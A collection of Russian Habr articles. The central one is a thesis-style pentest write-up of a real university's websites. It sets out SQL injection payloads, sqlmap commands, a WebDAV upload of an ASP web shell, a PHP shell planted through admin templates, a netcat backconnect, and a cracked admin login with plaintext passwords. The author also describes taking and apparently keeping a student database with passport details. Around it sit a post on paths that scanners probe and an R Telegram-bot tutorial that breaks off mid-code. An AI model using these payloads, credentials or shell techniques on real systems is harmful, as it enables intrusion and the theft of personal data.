Обо всем этом я расскажу отдельно, если Вам конечно интересно.
**P.S. Прежде чем ругать** с фразами “это не тестирование”, “оно покрывает 5% функционала” и подобным: мы не тестируем. Мы именно делаем проверку работоспособности.
Это как проверка того, что лампочка горит в магазине — мы не проверяем её нагрев, не меряем излучаемый свет, не пробуем вкрутить в неподходящий патрон — мы проверяем, просто что она горит. Тоже самое мы делаем и с кодом. Простым, и не требующим поддержки способом.
**UPD.** Пример реализации описанный здесь — просто пример и не более. Главное — идея стандартизации частей системы, отдельных сущностей. Стандартные «гайки» можно проверять одним способом проверки, а вот на нестандартные — придется придумывать разные. | https://habr.com/ru/post/191210/ | null | ru | null |
# Дипломная работа. Аудит информационной безопасности или как я хакнул свою шарагу. Часть 1
Предисловие.
------------
Стоя у истоков своей неудавшейся карьеры, мне выпал карт-бланш на пенетрацию серверов нашего местного педа по-черному. Я был молод, амбициозен и ориентирован на искрометный прыжок сквозь техническую сингулярность в наше великолепное ~~кибер~~-будущее-2020. Кульминацией моего кул-хацкинг-прошлого стала диспломная работа. Ввиду того что, в России дипломная работа является по большей части отпиской, неудовлетворенность в том, что мой диплом так и не был никем прочитан ~~а кем все таки был, был непонят~~, выдержки из него публикую тут. Чувство радости, охватившее меня держало несколько месяцев увлеченной работы, результатом которой я и хотел бы поделиться, осознавши себя именно now(), спустя почти десяток лет, кибер-рабочим, кладущим кибер-кирпичи, так еще и не очень ровно, так получилось...
Информация представленная здесь носит исключительно познавательный характер. Ресурсы закрыты, баги ~~спустя много лет~~ пофикшены, некоторые данные изменены, в любом случае **повторение подобных действий незаконно**. **Цель -- показать процесс аудита методом черного ящика на вполне конкретном примере и законных основаниях.**
**Помни про УК:**
* **Статья 272.** Неправомерный доступ к компьютерной информации.
* **Статья 273.** Создание, использование и распространение вредоносных программ для ЭВМ.
* **Статья 274.** Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей.
Глава 2. Практика
------------------
В нашей работе был произведен аудит внешних веб-ресурсов РГПУ им. А.И. Герцена.
Целью аудита было выявление критических уязвимостей, позволяющих получить доступ к тем или иным частям ИС.
### Ресурс 1: Фундаментальная библиотека имени императрицы Марии Федоровны.
Первая уязвимость была найдена вручную. Изменив значение параметра "page" с 9 до 20 в URI *lib.herzen.spb.ru/news/default.asp?page=9*, была замечена ошибка системы управления базами данных MSSQL.
 После некоторых манипуляций с параметром и подбором полей мы получили URI следующего вида:
*lib.herzen.spb.ru/news/news\_detail.asp?id='1'+union+select+1,2,3,4,5,6,7*.
Далее необходимо было найти базу данных пользователей и узнать пароль администратора. В браузерной строке были проделаны следующие манипуляции:
* `lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables`
* `lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+top+1+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables+WHERE+TABLE_NAME+NOT+IN+('comment','news','dtproperties')`
Обнаружилось, что база данных имеет всего три таблицы, и при этом ни одна из них даже отдаленно не напоминала необходимую.
Конечно, с помощью нее можно извлечь различные конфиденциальные данные, но они не позволят проникнуть на сервер.
Было принято решение отложить тестирование этой уязвимости и запустить acunetix web vulnerability scanner. Спустя некоторое время был получен отчет об уязвимостях. Критических уязвимостей оказалось две:
1. Passive XSS уязвимость.
URI уязвимости: *lib.herzen.spb.ru/marcweb/workdict.asp*
Уязвимы все поля, пример уязвимого кода: *onmouseover=prompt(966376) bad=*
2. WebDAV Directory with Write Permissions. URI уязвимости: *lib.herzen.spb.ru/marcweb/exe/tmp/* и *lib.herzen.spb.ru/marcweb/exe/*.
Уязвимость по протоколу WebDAV, работающему поверх HTTP, позволяет создавать файлы на сервере посредством «http методов».
Наиболее интересной для нас является уязвимость номер два, с чьей помощью мы можем выполнить PUT, а затем и MOVE метод с помощью протокола telnet.
Был найден шелл для системы на ASP.NET. Его название: *«\_.-:-> NeoHack <-:-.\_»*, *( ред. Странно, что не Trinity.exe )* он был передан вместе с PUT запросом на сервер.
 В ответ мы получили сообщение об успешном создании файла "1.txt", который теперь находится по адресу *lib.herzen.spb.ru/marcweb/exe/tmp/1.txt*.
 Однако файл оказался неисполняемым, потребовалось его переименовать при помощи метода MOVE в файл с названием "1.asp;.jpg".
 Запрос выполнен.
 Теперь, перейдя по адресу *lib.herzen.spb.ru/marcweb/exe/tmp/1.asp;.jpg*, мы увидим полноценный «шелл».
 Недолго искав, находим файл CONFIG.ASP.
 В нем лежит логин и пароль в открытом виде:
 Заранее просканировав сайт при помощи инструмента Havij, мы знаем, что страница администратора находится по адресу *lib.herzen.spb.ru/news/adm/*.
Воспользовавшись логином и паролем, полученными ранее, мы совершили вход в административную часть сайта.
 Теперь мы имеем достаточно привилегий на добавление и редактирование статей.
**Помимо доступа к административной части сайта с полными правами на чтение, редактирование и удаление файлов в корневом каталоге сайта** **мы имеем доступ на чтение почти всех файлов на сервере, например в каталоге *WINDOWS/System32*.**
### Ресурс 2: Университетский образовательный округ РГПУ им. А.И. Герцена
В строке okrug.herzen.spb.ru/do/sub есть уязвимый аргумент subjects, который передается посредством POST запроса.
Запрос в sqlmap выглядит следующим образом:
*python sqlmap.py -u http://okrug.herzen.spb.ru/do/sub/ --data="name=name&email=mail@email.ru&subjects=1&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC" -p subjects –sql-shell*
С помощью него мы получим SQL шелл. В аргумент 'subjects' мы передаем следующие значения:
* `name=name&email=mail@email.ru&subjects=1' RLIKE (SELECT (CASE WHEN (5587=5587) THEN 1 ELSE 0x28 END)) AND 'mJSm'='mJSm&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC`
* `name=Acunetix&email=smail@email.ru&subjects=1' AND (SELECT 8432 FROM(SELECT COUNT(*),CONCAT(0x7171686771,(SELECT (CASE WHEN (8432=8432) THEN 1 ELSE 0 END)),0x7177616c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'XRst'='XRst&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC`
* `name=Acunetix&email=sample@email.tst&subjects=1' AND SLEEP(5) AND 'cwWR'='cwWR&text=111-222-1933email@address.tst&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC`
 На данном этапе мы получили доступ к базе данных. Проанализировав данные, мы нашли таблицу 0users. В ней оказались логины и md5 хэши паролей для входа в административную часть сайта.
Воспользовавшись такими ресурсами как rachid.dk и md5decoder.org, мы с легкостью расшифровали два следующих хэша: 3fa08bcbb256da891dbfc106b68384db и 2332dc1dc2f0fd1377f122fdb5a3052b. Пароли данных хэшей: hokrug и okruh соответственно. Логин для обоих паролей был – 0admin
 Теперь мы можем пользоваться административной частью сайта, расположенной по адресу http://okrug.herzen.spb.ru/admin/login.php.
 В разделе сайта «Шаблоны страниц» мы можем создавать шаблоны страниц с произвольным PHP кодом. Воспользовавшись этим создадим файл с шеллом с названием 1.inc.php. Название шелла: «b374k m1n1 1.01». Теперь по адресу http://okrug.herzen.spb.ru/templates/1.inc.php располагается полноценный шелл.
 Изучив файлы, находящиеся на сервере, мы обнаружили следующие файлы: passwd, находящийся в папке /etc/ хранящий в себе информацию о настройках прав доступа, файл globalconfig.inc.php находящийся в папке /usr/share/nginx/www/ и хранящий в себе логин:пароль для доступа к базе данных Mysql.
 **Поскольку мы уже изучили все данные в СУБД, попробуем получить root доступ. Создадим файл exploit.c на сервере, содержащий в исходном коде local root exploit. Откроем порт 4000 с помощью netcat командой nc -l 4000. Сделаем бэкконект на данный порт при помощи стандартных возможностей шелла. Теперь мы можем исполнять команды непосредственно из командной строки. К сожалению, на сервере не установлен gcc или любой подобный компилятор, либо к нему просто нет доступа, что более вероятно.**
### Ресурс 3: Электронный атлас
Уязвимый параметр id в URI *herzen.spb.ru/chair\_types.php?id=1* и такой инструмент как sqlmap позволили получить полный доступ к базе данных, находящейся по адресу */home/umo/HERZEN.FDB*.
Команда в sqlmap выглядит следующим образом:
*python sqlmap.py -u http://herzen.spb.ru:80/chair\_type.php?id=1*
Значения, которые нужно передать параметру id для тестирования инъекции, выглядят следующим образом:
* `-9591 UNION ALL SELECT NULL,'qvlyq'||'aHGhoCJksT'||'quqdq',NULL,NULL,NULL FROM RDB$DATABASE--`
* `1 AND 7686=7686`
* `AND 6277=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)`
**Название базы данных - «Firebird\_masterdb», а её размер - более 3Гб.**
**База содержит 324 таблицы с конфиденциальными данными университета.**
**Пример одной из таблиц: список текущих студентов университета, содержащий в себе полные имена, адреса, телефоны, паспортные данные, баллы за ЕГЭ, номера зачеток и другие конфиденциальные сведения.**
!!!
*( ред. В итоге это был бекап... Пруфов не будет, ~~но~~ ~~база где-то до сих пор валяется у меня на флешке~~. )*
Пользователь, с которого мы имеем доступ к СУБД, «SYSDBA» является также администратором базы данных и имеет все привилегии на сервере.
Исходя из этого, помимо просмотра, нам также доступны права на редактирование и удаление данных.
При помощи FirebirdSQL невозможно создать файл на сервере, а значит и получить доступ к серверу на данный момент нельзя.
### Ресурс 4: Телефонная книга университета
В URI *phones.herzen.spb.ru/index.php?b=А&sort=post&l=0* оказалось два уязвимых параметра. Параметр "sort" позволял выполнить только «слепую» инъекцию, и поэтому мы сосредоточились на параметре "b".
Вручную изменять значения параметра "b" в запросе *b=А&sort=post&l=0* оказалось сложнее, чем предполагалось ранее, и поэтому было принято решение использовать sqlmap.
Команда в sqlmap выглядит следующим образом:
*python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1*.
Окончательное значение, которое нужно передать параметру, выглядит следующим образом:
`1') AND (SELECT 2920 FROM(SELECT COUNT(*),CONCAT(0x3a696c6c3a,(SELECT (CASE WHEN (2920=2920) THEN 1 ELSE 0 END)),0x3a6364773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YFEv'='YFEv`
Теперь, запустив sqlmap с параметром --sql-shell, мы получили командную строку, с помощью которой можем извлекать информацию из баз данных, как это показано на изображении.
*python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1 --sql-shell*
 Необходимые нам данные оказались в таблице "telefon\_users", которая принадлежит базе данных "phones".
Запрос`select telefon_users_id, telefon_users_log, telefon_users_name, telefon_users_pass, from telefon_users` в sql-shell выдал нам данные обо всех зарегистрированных пользователях.
 C помощью логина и пароля зарегистрированных пользователей можно легко подключиться к административной части сайта.
 К сожалению, привилегий на выполнение команды создания файла средствами Mysql оказалось недостаточно. **Доступ к серверу на данный момент не получен.** | https://habr.com/ru/post/599297/ | null | ru | null |
# Кто сканирует Интернет. Продолжение следует
Всем привет! Прежде всего, хочу поблагодарить всех, кто участвовал в обсуждении моей первой статьи: [«Кто сканирует Интернет и существует ли Австралия»](https://habr.com/post/354726/).
Публиковал статью без всякого умысла, просто поднял тему, которая так или иначе касается всех. Не только тех кто связан с ИТ, но и любого, чей сервер или ПК сидит на «реальных»(«белых») адресах Интернет.
Как я и предполагал, после публикации статьи, резко вырос «интерес» к IP-адресу на котором висит сборщик статистики. Многие, ради шутки, вставляли в URL сообщения, различные наборы символов и т.д. Так обнаружилось, что существуют и Австралия и Новая Зеландия. Да и много кто еще.
Если после публикации первой статьи я собирался завершить отлов сканеров на том адресе, где он сейчас, то увидев статистику решил повременить с переездом. Более того, в силу собственной лени немного доработал интерфейс чтобы не копать файлы руками.
В статистику попадают сканеры, проверяющие боле 3 таргетов, а в список таргетов включаются только те, которые сканировались более 10 раз. Пока так.
На текущий момент самыми популярными являются следующие таргеты:
1. **/var/www/html/phpMyAdmin** (и очень много производных от phpMyAdmin — перебор регистра, сокращения).
Здесь все понятно — это web-админка My SQL.
2. **/var/www/html/HNAP1**
Home Network Administration Protocol. На Хабре было здесь: [Взламываем D-Link DSP-W215 Smart Plug](https://habr.com/post/223313/).
3. **/var/www/html/wp-login.php**
Файл входа CMS Word Press. Тема защиты хорошо раскрыта в Сети. Но видимо не все обращают внимание на такие мелочи.
4. **/var/www/html/wls-wsat**, **/var/www/html/wls-wsat/CoordinatorPortType**
The Oracle WebLogic WLS WSAT Component. Уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой системе любому атакующему без какой-либо авторизации.
5. **/var/www/html/claroline**
Система управления обучением Claroline. Уязвимости хорошо описаны. Например [здесь](https://www.securitylab.ru/vulnerability/205550.php).
6. **/var/www/html/typo3**
CMS [Typo3](http://www.typo3.ru/). [Уязвимости Typo3](https://www.securitylab.ru/vulnerability/461618.php).
7. **/var/www/html/xampp**
Готовый [комплект веб-сервера](http://www.uamedwed.com/blog/soft/xampp-gotovyj-komplekt-web-servera.html). [Уязвимости XAMPP](https://www.securitylab.ru/vulnerability/360581.php).
8. **/var/www/html/w00tw00t.at.blackhats.romanian.anti-sec:)**
Известный бот-сканер [Zmeu](https://en.wikipedia.org/wiki/ZmEu_(vulnerability_scanner)). Вариант защиты [здесь](http://aposnov.ru/zmeu-attacks-dhdhndhndh-dhn-dhdhndh/).
9. **/var/www/html/CFIDE**
ColdFusion CFIDE Scripts. [Как защитить](https://www.petefreitag.com/item/774.cfm).
10. **/var/www/html/muieblackcat**
[Сканер поиска уязвимостей](https://eromang.zataz.com/2011/08/14/suc027-muieblackcat-setup-php-web-scanner-robot/).
11. **/var/www/html/GponForm**
А это уже посвежее. Взлом роутеров GPON
[Уязвимость GPON](https://unixforum.org/viewtopic.php?t=144889).
12. **/var/www/html/login.cgi**
Уязвимость в Community Link Pro.
[Уязвимость Community Link Pro](https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=21298).
13. **/var/www/html/stssys.htm**
Уязвимость в TRENDnet Print Server.
[Уязвимость TRENDnet Print Server](https://neonprimetime.blogspot.com/2016/08/stssyshtm-wget-request.html).
Сборщик статистики будет работать в автоматическом режиме. Возможно в скором времени у него появятся агенты. Список таргетов и адресов сканеров будет обновляться. Большая просьба: не мусорить в логи. Кто знает где забанят.
Список источников: [статистика сканирования](http://smartgekko.ru/whoscanme).
P.S. На текущий момент статистика очищена от лишнего хлама.
Спрашивают код размещения маркеров на карте. Вот он(комментарии по стилю не интересны):
```
// Это создание самой карты:
var map;
DG.then(function () {
markers = DG.featureGroup();
map = DG.map('map', { // 'map' это div id
center: [44.98, 10.89],
zoom: 2,
minZoom: 2,
fullscreenControl: false,
zoomControl: false,
inertia: false,
doubleClickZoom: false
});
getdaystat(0); // функция прорисовки маркеров
});
```
На входе текстовый файл в формате: IP адрес, страна, город, координата1, координата2
А так я прорисовываю маркеры для полной карты или для одного дня:
```
function getdaystat(st)
{
//статистика за один день или общая
if (st!=0){
var url="http://smartgekko.ru/whoscanme/core/scanbase/"+st+"/shosts?rnd=" + Math.round(Math.random() * 100000);
} else {
var url="http://smartgekko.ru/whoscanme/scaner_hosts?rnd=" + Math.round(Math.random() * 100000);
}
// Читаем файл
var xrequest=new XMLHttpRequest();
xrequest.open("GET",url,false);
xrequest.send("");
var result=xrequest.responseText;
var marker;
var citycnt=0;
//Делим строки и помещаем в массивы. Необходимо если несколько маркеров в одной точке.
var splitArray = result.split(/\r\n/);
var cityArray = new Array(splitArray.length);
var countryArray = new Array(splitArray.length);
// Очищаем текущую карту
markers.removeFrom(map);
markers.clearLayers();
//Собираем новые маркеры. если в одной точке - смещаем
for (var i = 0; i < splitArray.length; i++){
var splitString = splitArray[i].split(",");
var pip = splitString[0];
var pcountry = splitString[1];
var pcity = splitString[2];
citycnt=0;
for (var j = 0; j < cityArray.length; j++){
if((pcity==cityArray[j])&&(pcountry==countryArray[j])) citycnt++;
}
var myIcon = DG.icon({
iconUrl: '/whoscanme/images/i2.png', // иконка маркеров
iconSize: [20, 34],
iconAnchor: [10-citycnt*2, 33+citycnt*2] //смещение
});
marker = DG.marker([splitString[3],splitString[4]],{icon: myIcon,alt:pip,title:pip+"\n"+pcountry+", "+pcity})// создаем маркер и титл к нему
.on('click',function(e) {
getmarkerinfo(this.options.alt); // функция. которая будет выполняться по клику на маркере
})
.addTo(markers);
cityArray[i]=pcity;
countryArray[i]=pcountry;
markers.addTo(map);//добавляем маркеры на карту
}
}
``` | https://habr.com/ru/post/358056/ | null | ru | null |
# Пишем telegram бота на языке R (часть 3): Как добавить боту поддержку клавиатуры
Это третья статья из серии "Пишем telegram бота на языке R". В предыдущих публикациях мы научились создавать телеграм бота, отправлять через него сообщения, добавили боту команды и фильтры сообщений. Поэтому перед тем как приступить к чтению данной статьи я крайне рекомендую ознакомиться с [предыдущими](#vse-stati-iz-serii-pishem-telegram-bota-na-yazyke-r), т.к. тут я уже не буду останавливать на описанных ранее основах ботостроения.
В этой статье мы повысим юзабилити нашего бота за счёт добавления клавиатуры, которая сделает интерфейс бота интуитивно понятным, и простым в использовании.
Все статьи из серии "Пишем telegram бота на языке R"
====================================================
1. [Создаём бота, и отправляем с его помощью сообщения в telegram](https://habr.com/ru/post/511222/)
2. [Добавляем боту поддержку команд и фильтры сообщений](https://habr.com/ru/post/515148/)
3. [Как добавить боту поддержку клавиатуры](https://habr.com/ru/post/516908/)
4. [Построение последовательного, логического диалога с ботом](https://habr.com/ru/post/518470/)
5. [Управление правами пользователей бота](https://habr.com/ru/post/520208/)
Содержание
==========
*Если вы интересуетесь анализом данных возможно вам будут интересны мои [telegram](https://t.me/R4marketing) и [youtube](https://www.youtube.com/R4marketing/?sub_confirmation=1) каналы. Большая часть контента которых посвящены языку R.*
1. [Какие типы клавиатур поддерживает телеграм бот](#kakie-tipy-klaviatur-podderzhivaet-telegram-bot)
2. [Reply клавиатура](#reply-klaviatura)
3. [Inline клавиатура](#inline-klaviatura)
3.1. [Пример простейшего бота с поддержкой InLine кнопок](#primer-prosteyshego-bota-s-podderzhkoy-inline-knopok)
3.2. [Пример бота, который сообщает текущую погоду по выбранному городу](#primer-bota-kotoryy-soobschaet-tekuschuyu-pogodu-po-vybrannomu-gorodu)
3.3. [Пример бота, который выводит список самых свежих статей со ссылками по-указанному Хабу из habr.com](#primer-bota-kotoryy-vyvodit-spisok-samyh-svezhih-statey-s-ssylkami-po-ukazannomu-habu-iz-habrcomhttpshabrcom)
4. [Заключение](#zaklyuchenie)
Какие типы клавиатур поддерживает телеграм бот
==============================================
На момент написания статьи `telegram.bot` позволяет вам создать клавиатуры двух типов:
* Reply — Основная, обычная клавиатура, которая находится под панелью ввода текста сообщения. Такая клавиатура просто отправляет боту текстовое сообщение, и в качестве текста отправит тот текст, который написан на самой кнопке.
* Inline — Клавиатура привязанная к конкретному сообщению бота. Данная клавиатура отправляет боту данные, привязанные к нажатой кнопке, эти данные могут отличаться от текста, написанного на самой кнопке. И обрабатываются такие кнопки через **CallbackQueryHandler**.
Для того, что бы бот открыл клавиатуру необходимо при отправке сообщения через метод `sendMessage()`, передать созданную ранее клавиатуру в аргумент `reply_markup`.
Ниже мы разберём несколько примеров.
Reply клавиатура
================
Как я уже писал выше, это основная клавиатура управления ботом.
**Пример создания Reply клавиатуры из официальной справки**
```
bot <- Bot(token = "TOKEN")
chat_id <- "CHAT_ID"
# Create Custom Keyboard
text <- "Aren't those custom keyboards cool?"
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(KeyboardButton("Yes, they certainly are!")),
list(KeyboardButton("I'm not quite sure")),
list(KeyboardButton("No..."))
),
resize_keyboard = FALSE,
one_time_keyboard = TRUE
)
# Send Custom Keyboard
bot$sendMessage(chat_id, text, reply_markup = RKM)
```
Выше приведён пример из официальной справки пакета `telegram.bot`. Для создания клавиатуры используется функция `ReplyKeyboardMarkup()`, которая в свою очередь принимает список списков кнопок, которые создаются функцией `KeyboardButton()`.
Почему в `ReplyKeyboardMarkup()` необходимо передавать не просто список, а список списков? Дело в том, что вы передаёте основной список, и в нём отдельными списками вы задаёте каждый ряд кнопок, т.к. в один ряд можно расположить несколько кнопок.
Аргумент `resize_keyboard` позволяет автоматически подбирать оптимальный размер кнопок клавиатуры, а аргумент `one_time_keyboard` позволяет скрывать клавиатуру после каждого нажатия на кнопку.
Давайте напишем простейшего бота, у которого будет 3 кнопки:
* Чат ID — Запросить чат ID диалога с ботом
* Моё имя — Запросить своё имя
* Мой логин — Запросить своё имя пользователя в телеграм
**Код 1: Простой бот с Reply клавиатурой**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# создаём методы
## метод для запуска клавиатуры
start <- function(bot, update) {
# создаём клавиатуру
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(KeyboardButton("Чат ID")),
list(KeyboardButton("Моё имя")),
list(KeyboardButton("Мой логин"))
),
resize_keyboard = FALSE,
one_time_keyboard = TRUE
)
# отправляем клавиатуру
bot$sendMessage(update$message$chat_id,
text = 'Выберите команду',
reply_markup = RKM)
}
## метод возвразающий id чата
chat_id <- function(bot, update) {
bot$sendMessage(update$message$chat_id,
text = paste0("Чат id этого диалога: ", update$message$chat_id),
parse_mode = "Markdown")
}
## метод возвращающий имя
my_name <- function(bot, update) {
bot$sendMessage(update$message$chat_id,
text = paste0("Вас зовут ", update$message$from$first_name),
parse_mode = "Markdown")
}
## метод возвращающий логин
my_username <- function(bot, update) {
bot$sendMessage(update$message$chat_id,
text = paste0("Ваш логин ", update$message$from$username),
parse_mode = "Markdown")
}
# создаём фильтры
## сообщения с текстом Чат ID
MessageFilters$chat_id <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Чат ID"
}
)
## сообщения с текстом Моё имя
MessageFilters$name <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Моё имя"
}
)
## сообщения с текстом Мой логин
MessageFilters$username <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Мой логин"
)
# создаём обработчики
h_start <- CommandHandler('start', start)
h_chat_id <- MessageHandler(chat_id, filters = MessageFilters$chat_id)
h_name <- MessageHandler(my_name, filters = MessageFilters$name)
h_username <- MessageHandler(my_username, filters = MessageFilters$username)
# добавляем обработчики в диспетчер
updater <- updater +
h_start +
h_chat_id +
h_name +
h_username
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
После запуска задайте боту команду `/start`, т.к. именно её мы определили для запуска клавиатуры.
Если на данный момент вам сложно разобрать приведённый пример кода, с созданием методов, фильтров и обработчиков, то следует вернуться к предыдущей [статье](https://habr.com/ru/post/515148/), в которой я подробно всё это описал.
Мы создали 4 метода:
* start — Запуск клавиатуры
* chat\_id — Запрос идентификатора чата
* my\_name — Запрос своего имени
* my\_username — Запрос своего логина
В объект *MessageFilters* добавили 3 фильтра сообщений, по их тексту:
* chat\_id — Сообщения с текстом `"Чат ID"`
* name — Сообщения с текстом `"Моё имя"`
* username — Сообщения с текстом `"Мой логин"`
И создали 4 обработчика, которые по заданным командам и фильтрам будут выполнять указанные методы.
```
# создаём обработчики
h_start <- CommandHandler('start', start)
h_chat_id <- MessageHandler(chat_id, filters = MessageFilters$chat_id)
h_name <- MessageHandler(my_name, filters = MessageFilters$name)
h_username <- MessageHandler(my_username, filters = MessageFilters$username)
```
Сама клавиатура создаётся внутри метода `start()` командой `ReplyKeyboardMarkup()`.
```
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(KeyboardButton("Чат ID")),
list(KeyboardButton("Моё имя")),
list(KeyboardButton("Мой логин"))
),
resize_keyboard = FALSE,
one_time_keyboard = TRUE
)
```
В нашем случае все кнопки мы расположили друг под другом, но мы можем расположить их в один ряд, внеся изменения в список списков кнопок. Т.к. один ряд внутри клавиатуры создаётся через вложенный список кнопок, то для того, что бы вывести наши кнопки в один ряд надо переписать часть кода по построению клавиатуры вот так:
```
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(
KeyboardButton("Чат ID"),
KeyboardButton("Моё имя"),
KeyboardButton("Мой логин")
)
),
resize_keyboard = FALSE,
one_time_keyboard = TRUE
)
```
Отправляется клавиатура в чат методом `sendMessage()`, в аргументе `reply_markup`.
```
bot$sendMessage(update$message$chat_id,
text = 'Выберите команду',
reply_markup = RKM)
```
Inline клавиатура
=================
Как я уже писал выше, Inline клавиатура привязана к конкретному сообщению. С ней работать несколько сложнее чем с основной клавиатурой.
Изначально вам необходимо добавить боту метод, для вызова Inline клавиатуры.
Для ответа на нажатие Inline кнопки также можно использовать метод бота `answerCallbackQuery()`, который может вывести уведомление в интерфейсе telegram, пользователю нажавшему Inline кнопку.
Данные отправленные с Inline кнопки не являются текстом, поэтому для их обработки необходимо создать специальный обработчик с помощью команды `CallbackQueryHandler()`.
Код построения Inline клавиатуры который приводится в официальной справке пакета `telegram.bot`.
**Код построения Inline клавиатуры из официальной справки**
```
# Initialize bot
bot <- Bot(token = "TOKEN")
chat_id <- "CHAT_ID"
# Create Inline Keyboard
text <- "Could you type their phone number, please?"
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton(1),
InlineKeyboardButton(2),
InlineKeyboardButton(3)
),
list(
InlineKeyboardButton(4),
InlineKeyboardButton(5),
InlineKeyboardButton(6)
),
list(
InlineKeyboardButton(7),
InlineKeyboardButton(8),
InlineKeyboardButton(9)
),
list(
InlineKeyboardButton("*"),
InlineKeyboardButton(0),
InlineKeyboardButton("#")
)
)
)
# Send Inline Keyboard
bot$sendMessage(chat_id, text, reply_markup = IKM)
```
Строить Inline клавиатуру необходимо с помощью команды `InlineKeyboardMarkup()`, по такому же принципу, как и Reply клавиатуру. В `InlineKeyboardMarkup()` необходимо передать список, списков Inline кнопок, каждая отдельная кнопка создаётся функцией `InlineKeyboardButton()`.
Inline кнопка может либо передавать боту какие-то данные с помощью аргумента `callback_data`, либо открывать какую-либо HTML страницу, заданную с помощью аргумента `url`.
В результате будет список, в котором каждый элемент так же является списком Inline кнопок, которые необходимо объединить в один ряд.
Далее мы рассмотрим несколько примеров ботов с Inline кнопками.
### Пример простейшего бота с поддержкой InLine кнопок
Для начала мы напишем бота для экспресс тестирования на covid-19. По команде `/test`, он будет отправлять вам клавиатуру с двумя кнопками, в зависимости от нажатой кнопки он будет присылать вам сообщение с результатами вашего тестирования.
**Код 2: Простейший бот с Inline клавиатурой**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# метод для отправки InLine клавиатуры
test <- function(bot, update) {
# создаём InLine клавиатуру
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton("Да", callback_data = 'yes'),
InlineKeyboardButton("Нет", callback_data = 'no')
)
)
)
# Отправляем клавиатуру в чат
bot$sendMessage(update$message$chat_id,
text = "Вы болете коронавирусом?",
reply_markup = IKM)
}
# метод для обработки нажатия кнопки
answer_cb <- function(bot, update) {
# полученные данные с кнопки
data <- update$callback_query$data
# получаем имя пользователя, нажавшего кнопку
uname <- update$effective_user()$first_name
# обработка результата
if ( data == 'no' ) {
msg <- paste0(uname, ", поздравляю, ваш тест на covid-19 отрицательный.")
} else {
msg <- paste0(uname, ", к сожалени ваш тест на covid-19 положительный.")
}
# Отправка сообщения
bot$sendMessage(chat_id = update$from_chat_id(),
text = msg)
# сообщаем боту, что запрос с кнопки принят
bot$answerCallbackQuery(callback_query_id = update$callback_query$id)
}
# создаём обработчики
inline_h <- CommandHandler('test', test)
query_handler <- CallbackQueryHandler(answer_cb)
# добавляем обработчики в диспетчер
updater <- updater + inline_h + query_handler
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
Результат:
Мы создали два метода:
* *test* — Для отправки в чат Inline клавиатуры
* *answer\_cb* — Для обработки отправленных с клавиатуры данных.
Данные, которые будут отправлены с каждой кнопки задаются в аргументе `callback_data`, при создании кнопки. Получить отправленные с кнопки данные можно с помощью конструкции `update$callback_query$data`, внутри метода *answer\_cb*.
Что бы бот реагировал на Inline клавиатуру, метод *answer\_cb* обрабатывается специальным обработчиком: `CallbackQueryHandler(answer_cb)`. Который запускает указанный метод по нажатию Inline кнопки. Обработчик **CallbackQueryHandler** принимает два аргумента:
* `callback` — Метод который необходимо запустить
* `pattern` — Фильтр по данным, которые привязаны к кнопке с помощью аргумента `callback_data`.
Соответвенно с помощью аргумента `pattern` мы можем под нажатие каждой кнопки написать отдельный метод:
**Код 3: Разделяем методы под каждую Inline кнопку**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# метод для отправки InLine клавиатуры
test <- function(bot, update) {
# создаём InLine клавиатуру
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton("Да", callback_data = 'yes'),
InlineKeyboardButton("Нет", callback_data = 'no')
)
)
)
# Отправляем клавиатуру в чат
bot$sendMessage(update$message$chat_id,
text = "Вы болете коронавирусом?",
reply_markup = IKM)
}
# метод для обработки нажатия кнопки Да
answer_cb_yes <- function(bot, update) {
# получаем имя пользователя, нажавшего кнопку
uname <- update$effective_user()$first_name
# обработка результата
msg <- paste0(uname, ", к сожалени ваш текст на covid-19 положительный.")
# Отправка сообщения
bot$sendMessage(chat_id = update$from_chat_id(),
text = msg)
# сообщаем боту, что запрос с кнопки принят
bot$answerCallbackQuery(callback_query_id = update$callback_query$id)
}
# метод для обработки нажатия кнопки Нет
answer_cb_no <- function(bot, update) {
